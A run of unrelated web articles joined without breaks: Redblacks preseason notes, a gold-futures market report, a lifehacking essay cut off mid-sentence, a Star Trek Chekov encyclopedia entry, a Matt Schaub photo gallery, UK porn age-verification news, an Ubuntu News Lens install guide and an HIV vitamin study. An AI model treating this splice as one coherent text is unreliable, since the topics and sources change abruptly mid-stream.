“We are ready, we’re looking forward to it,” said Campbell. “It’s time to play a different team. It’s going to be good to evaluate guys and evaluate where we are as a football team. We’re also looking forward to being in front of the home fans, it’s been a while. It should be a good night, good weather and away we go.
“We’re fortunate this year with our pre-season schedule in that we play on a normal week — a Thursday and then another Thursday. We just want to get our guys in a rhythm and go from there.”
There’s pressure on the players to perform well. A missed tackle or block, a fumble, a dropped pass … everything becomes larger than life on film. But it’s a chance for some guys who don’t get much of the spotlight during practice to show what they can do.
“We’re going to take into account the whole body of work,” said Campbell. “Some guys will step up their game in live competition, some guys not so much. So obviously, it’s a huge part of the evaluation — how they perform in this game. It’s also a measuring stick in how we’re performing as an offensive unit, defensive unit and on special teams.”
SITTING OUT
The Redblacks will rest receivers Kenny Shaw and Jake Harty, along with defensive lineman Andrew Marshall and offensive lineman Nolan MacMillan. The team has been taking it slow with MacMillan and Shaw, and added Harty and Marshall to the list on Wednesday. Said Campbell: “I would call it more precautionary. They could play if this was a game where they absolutely had to play in a game. We just want to make sure we’re being smart with those guys.”
THE END AROUND
The Redblacks added a couple of more players on Wednesday: Receiver Vernon Johnson (Texas A&M) and defensive back Doug Moss (New Hampshire). Moss was with the Redblacks through two pre-season games in 2016, but was released … Defensive back Mikael Charland, released by the Redblacks (who took him in the second round of the 2016 CFL draft) earlier this week, has signed with the Montreal Alouettes, according to 3 Down Nation’s Justin Dunk … Sergio Castillo, who played two games for the Redblacks last season (with a 45.2-yard average per punt) is with the Ticats … Former Carleton defensive back/all-Canadian kick returner Tunde Adeleke got off to a great start in the Stampeders’ pre-season opener Tuesday, with two punt returns for 48 yards … The Blue Bombers released Ottawa’s Justin Warden on Wednesday.
LINDLEY LEARNING FROM HARRIS’ SCRAPS
Ryan Lindley spends a lot of time talking to Trevor Harris, picking the quarterback’s brain for scraps of knowledge that come with experience behind a CFL centre.
On Thursday night against the Hamilton Tiger-Cats, Lindley, a former starter in the NFL, will get his first CFL game opportunity — in a pre-season environment.
“I look back on my own career, having a mentor like that is paramount in development of any player, any position — especially quarterback,” said Lindley on Wednesday. “The way Trevor has done it, as a backup and as a starter — he knows how to prepare for both roles. It’s really been invaluable.
“You have to push yourself and find a new goal every week. In practice, that’s tough. You try to find ways to make it game-like. Obviously (Thursday night), we’re going to see. I’m mostly excited to see the guys — you get in groups and get a good feel with guys out on the practice field, now let’s see how that translates (Thursday) for a lot of guys on the second and third teams.”
Learning a game with different rules, there’s been an adjustment, but Lindley is loving the ride.
“At this point, it’s about continuing to get better every day,” he said. “That’s the way I feel about it — setting short-term goals for myself and exceeding those on a weekly and daily basis and seeing where it ends up. Right now, I feel great. This is a phenomenal organization, a great group of guys, I’m just excited to be one of them in the locker room.”
GOSSELIN MORE THAN JUST A BLOCKER
When Anthony Gosselin got a call to participate in a mini-camp for the Kansas City Chiefs, that was the end of delivering chicken for St-Hubert.
The 6-foot-1, 250-pound bruiser has found a calling in football. A strong showing at the CFL combine sparked interest in the fullback out of Sherbrooke. The Ottawa Redblacks snapped him up in the second round of the CFL draft.
“My objective was to get a chance in the CFL, but I didn’t think I would get a chance to play in an NFL mini-camp, I didn’t think I’d be a second-round pick,” said Gosselin on Wednesday. “(The Redblacks) are my favourite team so I was very happy to be drafted and come here.”
With a combination of size, speed and power, Gosselin’s arrow is pointing up.
“I was under the radar at Sherbrooke because I was a blocking tight end, like an O-lineman,” said Gosselin, who has been hanging around Patrick Lavoie, a player he looks up to and hopes to be like one day soon.
“I ask Pat a lot of questions,” said Gosselin. “He speaks French, I have a little bit of difficulty with English. I’m going to work hard to be like him.”
[email protected] futures dropped on Thursday to log their lowest settlement since 2009, as the metal succumbed to a soaring dollar.
A rally in the greenback came on the heels of the first interest-rate hike by the Federal Reserve in nearly 10 years, weighing on dollar-denominated metals.
Shortly after gold prices settled in regular trading in New York on Wednesday, the Federal Open Market Committee, led by Fed Chairwoman Janet Yellen, raised its fed-funds rate to a range of 0.25% to 0.5%, putting an end to a seven-year run of near-zero interest rates.
Read: Why Fed interest-rate hike may not melt gold
February gold US:GCF6 sank $27.20, or 2.5%, to settle at $1,049.60 an ounce after touching a low of $1,046.80. Prices saw their lowest settlement level since October 2009, based on the most-active contracts. They settled 1.4% higher on Wednesday, ahead of the Fed decision.
March silver US:SIH6 dropped 54.5 cents, or 3.8%, to $13.703 an ounce, following a 3.5% climb a day earlier.
The day’s selloff for gold was characterized as a knee-jerk reaction to the “rate hike filtering through the credit markets, and the impact it…had on the U.S. dollar,” said Brien Lundin, editor of Gold Newsletter.
Read: Federal Reserve ‘dot plot’ still signals 4 interest-rate hikes in 2016
Higher interest rates tend to make precious metals that don’t bear interest rates less attractive for investors. They also boost the dollar, which was up 0.7% against the euro EURUSD, -0.0790% When the U.S. dollar strengthens, it can make dollar-priced assets more expensive for buyers using other currencies.
But “the Fed’s move is the bell ringing the end to the long-standing, short-gold momentum trade that has weighed on the metal since the announcement of ‘unlimited’ QE3 in September 2012,” said Lundin. “In other words, I think the Fed’s decision to finally move will be bullish for gold over the longer term, by getting past the issue that speculators have used as an excuse to short the metal.”
Rick Rule, chairman of Sprott U.S. Holdings, said that “if the economy ‘takes the hike’ well—meaning that higher rates don’t effect home and new car sales, or effect debt and equity markets—then the dollar likely continues strong, and gold continues soft.”
On the other hand, “if the Fed can’t raise rates again, or if this hike fails, then the dollar trades off, and gold strengthens materially,” he said.
Read: When the Fed hikes rates, stocks and other assets do surprisingly well
Across other metals complex, March copper US:HGH6 shed 2.8 cents, or 1.4%, to $2.044 a pound. January platinum US:PLF6 fell $31.30, or 3.6%, to $844.70 an ounce and March palladium US:PAH6 fell $14.50, or 2.5%, to $557.45 an ounce.
Providing critical information for the U.S. trading day. Subscribe to MarketWatch's free Need to Know newsletter. Sign up here.Editor’s Note: This is a guest post from Kyle Eschenroeder.
“There are a thousand hacking at the branches of evil to one who is striking at the root.” –Henry David Thoreau
“100 Life Hacks That Make Life Easier” –Article published on Lifehacker.com (179k social shares)
As legend has it, Alexander the Great undid the world’s most intricate knot. The Gordian Knot held a royal ox-cart to a post and remained tied for hundreds of years.
Then, in 333 BC, Alexander came along and tried to undo the knot. He, like the hundreds before him, couldn’t loosen it. Did he leave it for others to solve? Of course not! He’s Alexander the Great! He took his sword and solved the problem then and there.
We haven’t stopped swinging swords — and looking for easier, quicker, more direct solutions to life’s knotty problems — since.
A couple thousand years later, in 2004, a fellow named Danny O’Brien mentioned “life hack” in a talk about programmers and the “embarrassing” scripts and shortcuts they use. A hack, especially in computer science, is defined by Wikipedia as an “effective but inelegant solution” to a problem.
In 2005, Lifehack.org was created, and the concept took off and no longer centered just on tech shortcuts, but learning easier, niftier ways to do everything from cutting an onion to improving your focus. That same year, the American Dialectic Society named “lifehack” (now one word) as runner-up for its annual “most useful word” award, second only to “podcast.” (Where “love” or “courage” placed on their list I have no idea.)
In 2007 Timothy Ferriss published The 4-Hour Workweek and extended the idea of lifehacking to running a business and creating a leisure-filled lifestyle. Probably 80% of all entrepreneurial and productivity-oriented lifehacks you come across online were popularized by Tim’s book.
In the 2010s, articles, books, and even scientific studies focusing on lifestyle optimization have proliferated. Headlines scream: “You’ve Been Doing This Wrong All Along!” and we dutifully click to figure out how to make the needed improvements. We read up on getting our sleep schedule just right, our diet perfected, and our environment just so, and we tirelessly comply with the advice experts offer by tracking our steps, our breaths, and how much we moved while we snoozed.
All of these lifehacks promise a better life with less effort.
It’s an irresistible offer.
Why untie a knot when you can cut it with your sword?
Two Relationships to Hacks
Many people have had success using these life optimization tools and tricks, and they’re not necessarily a bad thing. Their effect all depends on which of two relationships someone has with hacking:
Hacking for something. When Alexander the Great cut the Gordian Knot he didn’t care about much else besides getting the ox-cart off the pole. Cutting the knot was the best solution to his problem. When a programmer finds a hack that allows him to move forward he has done the same thing. The focus is on an outcome and the hack is a way to get there. This often means solving problems creatively. Hacking for hacking’s sake. Then there is the person scrolling through Lifehacker collecting listicles. Reading and re-reading the same hacks spewed out a thousand times. This is the person who won’t go to the gym until they know for a fact that they have the “perfect” workout regimen. This is the person who doesn’t start a business because they don’t know how; they always have to do just a little more research before they get going. These
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Pavel Andreievich Chekov (Russian: Павел Андреевич Чеков) is a fictional character in the Star Trek universe. Walter Koenig portrayed Chekov in the second and third seasons of the original Star Trek series and the first seven Star Trek films.
Anton Yelchin portrayed the character in the 2009 Star Trek reboot film and two sequels, Star Trek Into Darkness and Star Trek Beyond.
Origin [ edit ]
Star Trek creator Gene Roddenberry wanted to include a younger cast member to appeal to teenage audiences. With a second season of Star Trek to be produced, Roddenberry interviewed Walter Koenig on the recommendation of director Joseph Pevney.[1]:345 After casting Koenig, Roddenberry wrote a letter to Mikhail Zimyanin, editor of Pravda,[1]:344 informing him of the introduction of a Russian character, and an NBC press release announcing the character at the time stated that it was in response to a Pravda article.[2][3] Koenig always denied the "Russian origin" story and said the character was added in response to the popularity of The Monkees' Davy Jones, and the character's hairstyle and appearance are a direct reference to this.[4][5] Roddenberry had previously mentioned, in a memo to his casting director, a desire to have someone reminiscent of one of The Beatles or Monkees on the show.[1]:345
Koenig's modest height, eyes, thick eyebrows, boyish face, and smile were all strikingly evocative of the lone British "Monkee" who captivated millions of pre-teen girls. Early attempts were made to style Koenig's brown hair similar to that of Jones too. Wigs were used in a couple of early episodes but not in others, which reveals a stage of experimentation to attentive viewers. Eventually, a final and consistent look for Koenig's hair length and fullness was reached and used consistently thereafter.
After Paramount Television signed Koenig to a contract because of the number of fan letters he received as Chekov, Roddenberry wrote in another memo "Kirk and Spock and the others actually seem rather'middle aged' to the large youthful segment of our audience. We badly need a young man aboard the Enterprise—we need youthful attitudes and perspectives. Chekov can be used potently here".[6] In actuality, Koenig is only five years younger than co-stars Leonard Nimoy and William Shatner.
The episode "Amok Time", which was the first episode aired during the second season, was Chekov's first television appearance. ("Catspaw", the first episode shot with the Chekov character, would be aired a month later to roughly coincide with Halloween.) Because of budgetary constraints, the character did not appear in the animated Star Trek.[1]:422
Depiction [ edit ]
Pavel Andreievich Chekov was born in 2241 in Russia[7] and is a young and naïve ensign who first appears on-screen in The Original Series’ second season as the Enterprise's navigator. According to Roddenberry, he is "an extraordinarily capable young man—almost Spock's equal in some areas. An honor graduate of the Space Academy."[6] Chekov also substitutes for Mr. Spock at the science officer station when necessary. His promotion to lieutenant for Star Trek: The Motion Picture brings with it his transfer as the ship's tactical officer and chief of security.
By the events of Star Trek II: The Wrath of Khan, Chekov is executive officer aboard the USS Reliant. In that film, Khan Noonien Singh uses a creature that wraps itself around Chekov's cerebral cortex to control him and his captain. Chekov overcomes the creature's mind control and serves as Enterprise tactical officer in the film's climactic battle.
Although Khan recognizes Chekov in the film, the Chekov character is not a visible part of the crew during "Space Seed", the first-season episode that introduces Khan. Adaptations: From Text to Screen, Screen to Text calls this "the apparent gaffe notorious throughout Star Trek fandom".[8] Koenig joked that Khan remembers Chekov from the episode after he takes too long in a restroom Khan wants to use.[9]
Chekov is an accomplice in Kirk's theft of the Enterprise to rescue Spock in Star Trek III: The Search for Spock, but is exonerated in Star Trek IV: The Voyage Home. He serves as navigator aboard the Enterprise-A during the events of Star Trek V: The Final Frontier and Star Trek VI: The Undiscovered Country. The character's final film appearance is as a guest aboard the Enterprise-B on its maiden voyage in Star Trek Generations.
Spinoff novels show a continued career path, but these are not considered canon in the Star Trek universe. Novels written by William Shatner detail that Chekov reaches the rank of admiral, and even serves as Commander in Chief of Starfleet.
Reboot films [ edit ]
The 2009 Star Trek film creates an alternate timeline in the franchise.[10] In this timeline, Anton Yelchin's portrayal presents Chekov as a 17-year-old prodigy whose mathematical ability proves instrumental in a few events within the film, and whose accent provides some of the film's comic relief.
In the sequel, Star Trek Into Darkness, Chekov finds himself promoted to chief engineer after Scotty resigns. When Kirk orders him to put on a red shirt, a brief sting is heard as a closeup shows Chekov's nervous face, playing on the reputation of redshirts in the franchise as much as the character's shock regarding his sudden promotion.
The third film, Star Trek Beyond, was Yelchin's final appearance as Chekov, the film seeing Chekov accompanying Kirk after the entire crew are marooned on an uncharted planet following the destruction of the Enterprise, forcing them to destroy the last of the Enterprise to escape a trap and later work with the rest of the senior staff to restart a long-lost Starfleet ship to escape the planet and defeat a plan to attack the Federation. Yelchin was crushed to death by his 2016 Jeep Grand Cherokee on June 19, 2016, little more than a month before its scheduled release on July 22, 2016. All of the filming had already taken place, and the film was in its post production phase, with the credits including dedication to his memory. J. J. Abrams, producer of the reboot trilogy and director of its first two films, has stated that the role will not be recast for future sequels, implying the character of Chekov will be written out in future films.
Fan productions [ edit ]
Walter Koenig reprised his role as Chekov 12 years after Star Trek Generations in the fan-created series New Voyages episode "To Serve All My Days". Andy Bray portrayed a younger Chekov in that episode. Koenig reprised the character again in Star Trek: Renegades as 143-year-old Admiral Chekov, the newly appointed head of Section 31. He has stated that should there be a sequel, he would reprise Chekov and then retire from the role. He also returned as Chekov in the online miniseries Star Trek: Of Gods and Men.
In scientific illustrator Jenny Parks' 2017 book Star Trek Cats, Chekov is depicted as a Russian Blue.[11][12][13]
See also [ edit ]Photo: Smiley N. Pool / Houston Chronicle Image 1 of / 63 Caption Close
Image 2 of 63 Week 1 at Chargers Matt Schaub is sacked by San Diego Chargers outside linebacker Dwight Freeney (93) and Chargers inside linebacker Donald Butler (56) during the third quarter. less Week 1 at Chargers Matt Schaub is sacked by San Diego Chargers outside linebacker Dwight Freeney (93) and Chargers inside linebacker Donald Butler (56) during the third... more Photo: Smiley N. Pool / Houston Chronicle
Image 3 of 63 Chargers inside linebacker Donald Butler (56) and outside linebacker Dwight Freeney (93) celebrate after sacking Matt Schaub during the third quarter. Chargers inside linebacker Donald Butler (56) and outside linebacker Dwight Freeney (93) celebrate after sacking Matt Schaub during the third quarter. Photo: Smiley N. Pool / Houston Chronicle
Image 4 of 63 <center><strong>Week 2 vs. Titans</center></strong> Tennessee Titans outside linebacker Akeem Ayers knocks down a pass by Matt Schaub during the second quarter. <center><strong>Week 2 vs. Titans</center></strong> Tennessee Titans outside linebacker Akeem Ayers knocks down a pass by Matt Schaub during the second quarter. Photo: Brett Coomer / Houston Chronicle
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Image 6 of 63 Titans defensive end Derrick Morgan tips a pass by Matt Schaub during the second quarter. Titans defensive end Derrick Morgan tips a pass by Matt Schaub during the second quarter. Photo: Karen Warren / Houston Chronicle
Image 7 of 63 Titans defensive end Kamerion Wimbley (95) and defensive end Derrick Morgan (91) celebrate after sacking Matt Schaub during the second half. Titans defensive end Kamerion Wimbley (95) and defensive end Derrick Morgan (91) celebrate after sacking Matt Schaub during the second half. Photo: Smiley N. Pool / Houston Chronicle
Image 8 of 63 <center><strong>Week 3 at Ravens</center></strong> Matt Schaub is sacked by Baltimore Ravens defensive tackle Haloti Ngata during the second quarter. <center><strong>Week 3 at Ravens</center></strong> Matt Schaub is sacked by Baltimore Ravens defensive tackle Haloti Ngata during the second quarter. Photo: Brett Coomer / Houston Chronicle
Image 9 of 63 Matt Schaub is chased out of the pocket by Ravens inside linebacker Josh Bynes (56) during the second quarter. Matt Schaub is chased out of the pocket by Ravens inside linebacker Josh Bynes (56) during the second quarter. Photo: Brett Coomer / Houston Chronicle
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Image 11 of 63 Matt Schaub is sacked by Ravens defensive end Arthur Jones (97) during the fourth quarter. Matt Schaub is sacked by Ravens defensive end Arthur Jones (97) during the fourth quarter. Photo: Brett Coomer / Houston Chronicle
Image 12 of 63 Ravens inside linebacker Daryl Smith (51) and linebacker Josh Bynes (56) celebrate Smith's interception of a Matt Schaub pass for a touchdown during the second quarter. Ravens inside linebacker Daryl Smith (51) and linebacker Josh Bynes (56) celebrate Smith's interception of a Matt Schaub pass for a touchdown during the second quarter. Photo: Brett Coomer / Houston Chronicle
Image 13 of 63 A fence holds cups spelling "Cut Schaub" on the North St. Bridge over I-45, a day after the Texans lost to the Ravens, 30-9. A fence holds cups spelling "Cut Schaub" on the North St. Bridge over I-45, a day after the Texans lost to the Ravens, 30-9. Photo: Cody Duty / Houston Chronicle
Image 14 of 63 <center><strong>Week 4 vs. Seahawks</center></strong> Seattle Seahawks defensive end Chris Clemons, left, pressures Matt Schaub, right, during the first quarter. <center><strong>Week 4 vs. Seahawks</center></strong> Seattle Seahawks defensive end Chris Clemons, left, pressures Matt Schaub, right, during the first quarter. Photo: Cody Duty / Houston Chronicle
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Image 16 of 63 Matt Schaub is tackled by Seahawks defensive tackle Clinton McDonald (69) after Schaub was forced out of the pocket in overtime. Matt Schaub is tackled by Seahawks defensive tackle Clinton McDonald (69) after Schaub was forced out of the pocket in overtime. Photo: Brett Coomer / Houston Chronicle
Image 17 of 63 Matt Schaub is tackled by Seahawks defensive tackle Clinton McDonald (69) after Schaub was forced out of the pocket in overtime. Matt Schaub is tackled by Seahawks defensive tackle Clinton McDonald (69) after Schaub was forced out of the pocket in overtime. Photo: Brett Coomer / Houston Chronicle
Image 18 of 63 Matt Schaub is sacked by Seahawks defensive tackle Clinton McDonald in overtime. Matt Schaub is sacked by Seahawks defensive tackle Clinton McDonald in overtime. Photo: Brett Coomer / Houston Chronicle
Image 19 of 63 Matt Schaub is pressured by Seahawks defensive tackle Tony McDaniel during the fourth quarter. Matt Schaub is pressured by Seahawks defensive tackle Tony McDaniel during the fourth quarter. Photo: Brett Coomer / Houston Chronicle
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Image 21 of 63 Matt Schaub is sacked by Seahawks defensive end Chris Clemons after he beat Texans tackle Derek Newton during the fourth quarter. Matt Schaub is sacked by Seahawks defensive end Chris Clemons after he beat Texans tackle Derek Newton during the fourth quarter. Photo: Brett Coomer / Houston Chronicle
Image 22 of 63 Seahawks free safety Earl Thomas (29) dives to intercept a pass by Matt Schaub during the first quarter. Seahawks free safety Earl Thomas (29) dives to intercept a pass by Matt Schaub during the first quarter. Photo: Brett Coomer / Houston Chronicle
Image 23 of 63 Seahawks cornerback Richard Sherman intercepts a pass intended fortight end Owen Daniels during the second half. Sherman returned the interception for a touchdown. Seahawks cornerback Richard Sherman intercepts a pass intended fortight end Owen Daniels during the second half. Sherman returned the interception for a touchdown. Photo: Cody Duty / Houston Chronicle
Image 24 of 63 Seahawks defensive end Cliff Avril sacks Matt Schaub during the fourth quarter. Seahawks defensive end Cliff Avril sacks Matt Schaub during the fourth quarter. Photo: Cody Duty / Houston Chronicle
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Image 26 of 63 Matt Schaub climbs to his feet after losing his helmet on a sack from Seahawks defensive end Cliff Avril during the fourth quarter. Matt Schaub climbs to his feet after losing his helmet on a sack from Seahawks defensive end Cliff Avril during the fourth quarter. Photo: Cody Duty / Houston Chronicle
Image 27 of 63 Matt Schaub has words with Seahawks defensive end Michael Bennett during the first half. Matt Schaub has words with Seahawks defensive end Michael Bennett during the first half. Photo: Smiley N. Pool / Houston Chronicle
Image 28 of 63 Matt Schaub paces the sidelines as the Seahawks march for game-winning field goal during overtime. Matt Schaub paces the sidelines as the Seahawks march for game-winning field goal during overtime. Photo: Smiley N. Pool / Houston Chronicle
Image 29 of 63 Matt Schaub gets up after being sacked during the second half. Matt Schaub gets up after being sacked during the second half. Photo: Cody Duty / Houston Chronicle
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Image 31 of 63 Matt Schaub pounds his fist into the ground after throwing an interception for a touchdown during the second half. Matt Schaub pounds his fist into the ground after throwing an interception for a touchdown during the second half. Photo: Smiley N. Pool / Houston Chronicle
Image 32 of 63 <center><strong>Week 5 at 49ers</center></strong> Matt Schaub goes down during the third quarter. <center><strong>Week 5 at 49ers</center></strong> Matt Schaub goes down during the third quarter. Photo: Brett Coomer / Houston Chronicle
Image 33 of 63 Matt Schaub gets off a pass as 49ers outside linebacker Ahmad Brooks applies pressure and guard Wade Smith (74) looks on during the second quarter. Matt Schaub gets off a pass as 49ers outside linebacker Ahmad Brooks applies pressure and guard Wade Smith (74) looks on during the second quarter. Photo: Brett Coomer / Houston Chronicle
Image 34 of 63 Matt Schaub heads toward the bench during the 34-3 loss. Matt Schaub heads toward the bench during the 34-3 loss. Photo: Brett Coomer / Houston Chronicle
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Image 36 of 63 Matt Schaub talks with head coach Gary Kubiak during the second quarter. Matt Schaub talks with head coach Gary Kubiak during the second quarter. Photo: Brett Coomer / Houston Chronicle
Image 37 of 63 Quarterback Matt Schaub (8), tackle Duane Brown (76) and center Chris Myers (55) head toward the bench during the second quarter. Quarterback Matt Schaub (8), tackle Duane Brown (76) and center Chris Myers (55) head toward the bench during the second quarter. Photo: Brett Coomer / Houston Chronicle
Image 38 of 63 Matt Schaub sits on the bench as backup quarterback T.J. Yates (13) works with quarterbacks coach Karl Dorrell behind him during the third quarter. Matt Schaub sits on the bench as backup quarterback T.J. Yates (13) works with quarterbacks coach Karl Dorrell behind him during the third quarter. Photo: Brett Coomer / Houston Chronicle
Image 39 of 63 Matt Schaub drops his head after being benched during the fourth quarter. Matt Schaub drops his head after being benched during the fourth quarter. Photo: Brett Coomer / Houston Chronicle
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Image 41 of 63 Matt Schaub stands on the sidelines as backup T.J. Yates (13) prepares to go into the game during the fourth quarter. Matt Schaub stands on the sidelines as backup T.J. Yates (13) prepares to go into the game during the fourth quarter. Photo: Brett Coomer / Houston Chronicle
Image 42 of 63 The NFL confirms that a fan took photos and shouted obscenities from the driveway of the Schaub family. The NFL confirms that a fan took photos and shouted obscenities from the driveway of the Schaub family. Photo: Brett Coomer / Houston Chronicle
Image 43 of 63 <center><strong>Week 6 vs. Rams</center></strong> Matt Schaub tries to avoid being sacked by Rams defensive tackle Michael Brockers during the second quarter. <center><strong>Week 6 vs. Rams</center></strong> Matt Schaub tries to avoid being sacked by Rams defensive tackle Michael Brockers during the second quarter. Photo: Karen Warren / Houston Chronicle
Image 44 of 63 Matt Schaub is sacked by Rams defensive tackle Michael Brockers during the first half. Matt Schaub is sacked by Rams defensive tackle Michael Brockers during the first half. Photo: Smiley N. Pool / Houston Chronicle
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Image 46 of 63 Matt Schaub (8) grimaces after injuring his ankle during the third quarter. Matt Schaub (8) grimaces after injuring his ankle during the third quarter. Photo: Brett Coomer / Houston Chronicle
Image 47 of 63 <center><strong>Week 7 at Chiefs</center></strong> Matt Schaub watches warm ups as he was unable to play due to injury. <center><strong>Week 7 at Chiefs</center></strong> Matt Schaub watches warm ups as he was unable to play due to injury. Photo: Brett Coomer / Houston Chronicle
Image 48 of 63 <center><strong>Week 9 vs. Colts</center></strong> Schaub stands on the sidelines next to starter Case Keenum during the 27-24 loss. <center><strong>Week 9 vs. Colts</center></strong> Schaub stands on the sidelines next to starter Case Keenum during the 27-24 loss. Photo: Smiley N. Pool / Houston Chronicle
Image 49 of 63 <center><strong>Week 10 at Cardinals</center></strong> Schaub stands next to Case Keenum during the 27-24 loss. The QB did not play in the game. <center><strong>Week 10 at Cardinals</center></strong> Schaub stands next to Case Keenum during the 27-24 loss. The QB did not play in the game. Photo: Smiley N. Pool / Houston Chronicle
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Image 51 of 63 Week 11 vs. Raiders Schaub relieved Case Keenum in the third quarter. The QB passed for 155 yards, but misconnected on a would-be game-winning TD pass to Andre Johnson in the end zone late in the fourth quarter. less Week 11 vs. Raiders Schaub relieved Case Keenum in the third quarter. The QB passed for 155 yards, but misconnected on a would-be game-winning TD pass to Andre Johnson in... more Photo: Smiley N. Pool / Houston Chronicle
Image 52 of 63 Week 11 vs. Raiders Schaub walks toward the locker room tunnel as the final seconds tick away. The QB had a heated exchange with Andre Johnson after the Texans' final offensive play. less Week 11 vs. Raiders Schaub walks toward the locker room tunnel as the final seconds tick away. The QB had a heated exchange with Andre Johnson after the Texans' final... more Photo: Smiley N. Pool / Houston Chronicle
Image 53 of 63 Schaub and wide receiver Andre Johnson (80) stretch during practice a few days after the sideline confrontation. Schaub and wide receiver Andre Johnson (80) stretch during practice a few days after the sideline confrontation. Photo: Brett Coomer / Houston Chronicle
Image 54 of 63 <center><strong>Week 12 vs. Jaguars</center></strong> Schaub watches from the sidelines during the second half of the 13-6 loss. The QB did not play in the game. <center><strong>Week 12 vs. Jaguars</center></strong> Schaub watches from the sidelines during the second half of the 13-6 loss. The QB did not play in the game. Photo: Smiley N. Pool / Houston Chronicle
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Image 56 of 63 <center><strong>Week 13 vs. Patriots</center></strong> Schaub looks on during the 34-31 loss. The QB did not play in the game. <center><strong>Week 13 vs. Patriots</center></strong> Schaub looks on during the 34-31 loss. The QB did not play in the game. Photo: Smiley N. Pool / Houston Chronicle
Image 57 of 63 Week 14 at Jaguars Schaub is sacked by Jaguars defensive end Andre Branch during the second half of the Texans' 27-20 loss. Schaub relieved starter in the Case Keenum in the third quarter. Schaub passed for 198 yards and one touchdown and one interception. less Week 14 at Jaguars Schaub is sacked by Jaguars defensive end Andre Branch during the second half of the Texans' 27-20 loss. Schaub relieved starter in the Case Keenum in... more Photo: Smiley N. Pool / Houston Chronicle
Image 58 of 63 <center><strong>Week 14 at Jaguars</center></strong> Schaub walks off the field after throwing an interception during the second half. <center><strong>Week 14 at Jaguars</center></strong> Schaub walks off the field after throwing an interception during the second half. Photo: Smiley N. Pool / Houston Chronicle
Image 59 of 63 <center><strong>Week 15 at Colts</center></strong> Schaub, sporting a beard, looks on during the Texans' 25-3 loss. The QB did not see action in the game. <center><strong>Week 15 at Colts</center></strong> Schaub, sporting a beard, looks on during the Texans' 25-3 loss. The QB did not see action in the game. Photo: Brett Coomer / Houston Chronicle
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Image 61 of 63 Week 16 vs. Broncos Schaub gets up from the turf after a sack during the second quarter. Schaub passed for 176 yards, one touchdown and two interceptions in the 37-13 loss. less Week 16 vs. Broncos Schaub gets up from the turf after a sack during the second quarter. Schaub passed for 176 yards, one touchdown and two interceptions in the 37-13... more Photo: Karen Warren / Houston Chronicle
Image 62 of 63 Week 17 at Titans Schaub passed for 229 yards, but threw two interceptions -- the last coming on the final offensive play of the season with the Texans trailing 16-10. Houston lost its 14th straight game. less Week 17 at Titans Schaub passed for 229 yards, but threw two interceptions -- the last coming on the final offensive play of the season with the Texans trailing 16-10.... more Photo: Smiley N. Pool / Houston ChronicleX-RATED movies may soon be harder to access with some popular FREE websites facing total UK ban.
GETTY BAN: Some free adult sites could face a UK ban
Getting unlimited access to free online porn could soon become a thing of the past. Radical new rules being planned by the government look set to change the way UK web users access adult content. This means adult material can't be viewed until the user has proven that they are over 18. Any websites found not to be adhering to the rules could be blocked by UK ISPs. All UK-based adult sites already have age verification in place – which is aimed at protecting children from accessing unsuitable content.
GETTY BLOCK: Prime minister David Cameron wants tougher rules on online porn
Under the new rules, users have to verify their age using a valid passport, credit card number or UK mobile phone number. The news comes after Government plans to keep a detailed log of everyone's online viewing habits – including pornography. However, global websites such as PornHub and RedTube don't have to follow these strict rules – allowing anyone to watch content. These unregulated sites have become increasingly popular over recent years with PornHub receiving 18.35billion visits per year alone. A large proportion of this traffic comes from the UK but many users may be unaware that the content they are watching is actually illegal in Britain.
PORNHUB
New rules announced last year banned UK producers from filming certain sex acts, including: Spanking, aggressive whipping, "water sports", female ejaculation, facesitting and fisting. All of the above is freely available to view on PornHub and other free sites. In a recent statement, Prime Minister David Cameron said: “I want to see age restrictions put into place or these websites will face being shut down.” The UK has always had strict rules on porn with hardcore content only available to buy in licensed sex shops. But with the internet now allowing anyone to easily access X-rated movies the Government want to make sure that the rules that apply offline now also apply online.
The Government will consult on the most effective ways of regulating adult sites in the coming months. Joanna Shields, the minister for internet safety and security said: “Whilst great progress has been made, we remain acutely aware of the risks and dangers that young people face online. “This is why we are committed to taking action to protect children from harmful content. Companies delivering adult content in the UK must take steps to make sure these sites are behind age verification controls.” Pornhub was recently banned in Russia after the government deemed the sites harmful to children. Ten other porn websites were also blocked in the country with users being told they could not access the pages as they “contained unlawful content”.News is a vital, if non-edible, part of our daily diet; without a vague understanding of current events we fast develop an ignorant malaise.
Whether we ‘consume’ junk news – celebrity, TV, music, sport etc – or the information equivalent of ‘broccoli’ – politics, world, business, etc – it remains important to keep ourselves aware of something.
Thankfully, finding and reading the latest news on any subject has just gotten super easy in Ubuntu…
Unity News Lens
The News Lens, created by prolific lens developer David Callé, works like any other lens in Unity: you open the Dash, select it, then enter a query. Results are then displayed.
Clicking on a result tile opens the story in your default browser.
By default the lens uses your system language. But that’s not always preferable. For example, I’m learning Swedish so find reading Swedish news helpful.
To search in a language other than the system default use the following syntax followed by your query.
!fr for French,!sv for Swedish,!ru for Russian,!de for German, etc
A full list of language codes can be found on Wikipedia.
Install
The News Lens is not yet available from the Ubuntu Software Center but it does have a PPA.
To install, open a new Terminal window and run the following two commands: –
sudo add-apt-repository ppa :scopes-packagers/ ppa
sudo apt-get update && sudo apt-get install unity-lens-news
If you already have the Scope Packagers PPA added to your Software Sources you can just hit the button below
Install Unity News Lens
After installing the lens you will need to log out and back in before it is added to the Dash.
Is there a lens or scope you would you love to see created? Let us know in the comments.A DAILY dose of multivitamins and minerals in the early stages of HIV infection can delay the disease's progression by as much as 54 per cent in people who are not receiving antiretroviral drugs, a US study reveals.
Researchers from Florida International University (FIU) and Harvard University followed 878 HIV-infected patients in Botswana and tracked the progression of their disease for two years, finding that patients who received daily supplements of vitamins B, C and E plus selenium had a lower risk of depleting the number of immune response cells in their bodies.
The supplements also reduced the risk of other measures of disease progression, including AIDS symptoms and AIDS-related deaths, of which there were four in the study group.
Vitamins B, C and E are essential for maintaining a responsive immune system, and selenium may play an important role in preventing HIV replication, said FIU professor of dietetics Marianna Baum, the study's lead investigator.
"The disease impacts metabolism and increases the requirement for vitamins and minerals and if people don't take additional vitamins and minerals they become deficient, which in turn impacts immunity," Professor Baum said.
She said the findings were significant in countries such as Botswana, where HIV-infection rates were among the world's highest and healthcare systems struggled to provide antiretroviral medications to low-income populations.
Over-the-counter multivitamins and minerals, Professor Baum said, were "a low-cost alternative" and easily accessible therapy that proved safe and effective in delaying HIV progression.
Patients participating in the study received three to five times the recommended daily amounts of the vitamins, and about 200 micrograms of selenium every day.
